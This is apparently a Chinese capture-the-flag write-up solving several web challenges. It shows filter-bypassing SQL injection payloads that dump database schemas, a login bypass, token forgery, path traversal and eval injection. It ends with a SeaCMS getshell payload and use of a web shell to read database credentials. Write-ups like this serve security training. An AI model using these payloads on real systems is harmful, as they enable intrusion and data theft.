查看源代码:
题目告诉了我们SQL语句,下面是fuzz测试,发现:
过滤了:order select /**/
尝试通过大小写、双写、url编码、hex编码、char编码、内联注释绕过,均失败,接着fuzz,发现<>会被替换为空:
这个很关键,可以利用这个特性绕过过滤,如:sel<>ect
接下来就是常规思路,测试列数ord<>er by 3
发现列数为3,接着测试可利用回显列:
id=-1 union sel<>ect 1,2,3
暴库:id=-1 union sel<>ect 1,group_concat(schema_name),3 from information_schema.schemata
暴表:-1 union sel<>ect 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'sqli'
暴列:id=-1 union sel<>ect 1,group_concat(column_name),4 from information_schema.columns where table_name='info'
暴flag:-1 union sel<>ect 1,flAg_T5ZNdrm,4 from info
题目只有一个登陆框,尝试SQL注入未成功,抓包分析未见异常,也没有发现源码泄露,查看源代码,发现用户名密码test1/test1,这里比较猥琐,test1/test1在注释很靠下的地方,不细心还真找不到:
登陆后:
在源代码中没有发现异常,抓包分析:
发现返回包头中,有一个字段show:0,尝试在发送包头中添加show:1
发现网页源代码:
代码信息如下:
分析一下代码,要输出flag,需要$login['user'] === 'ichunqiu'
而$login = unserialize(gzuncompress(base64_decode($requset['token'])));
所以构造
将token带入cookie中访问得到flag:
打开题目真的是象棋:
看一下源代码,发现某个js文件比较奇怪:
正则匹配js/[abcmlyx]{2}ctf[0-9]{3}.js,爆破一波:
跑出来是myctf801.js
打开看看:
登录:
这里加了验证码,所以首先放弃爆破,这里的验证码要求md5的前6位等于某个值,因此可以尝试爆破,代码如下:
将跑出来的结果填入验证码框,同时尝试万能密码admin’ or 1# 进行登录
结果发现确实有注入,登录成功,登录后发现有3个文件可以下载
下载下来看看,其中a.php告诉我们flag在根目录下:
Ok,尝试利用相对路径../flag.php访问:
提示flag{wow!!!but not true},经过测试,这里应该是过滤了../,所以换成绝对路径试一下:
GET /Challenges/file/download.php?f=/var/www/html/Challenges/flag.php
的确可以访问,并且泄露了flag.php源代码:
代码的意思通过eval("\$spaceone = $f"); 将$f赋值给$spaceone,如果$spaceone为’flag’,则显示helloctf.php的值。这里直接尝试下载helloctf.php,提示error,看来是做了过滤,老老实实按照flag.php的要求做吧。
直接尝试post flag=flag,没有返回helloctf.php的值,按道理直接赋值flag就可以回显的,于是本地做了一下实验:
跑一下
提示syntax error,原来是少了分号,改一下,将flag=”flag;”
再跑一下:
果然成功了,因此post flag=flag;
发现时海洋cms,于是搜索海洋cms的漏洞,找到前台getshell的payload:
?searchtype=5&tid=&area=eval($_POST[1])
直接用菜刀连接:
找了一圈没有发现flag文件,尝试从数据库中找flag,在data/common.inc.php找到数据库的配置信息:
配置菜刀:
在flag表中找到flag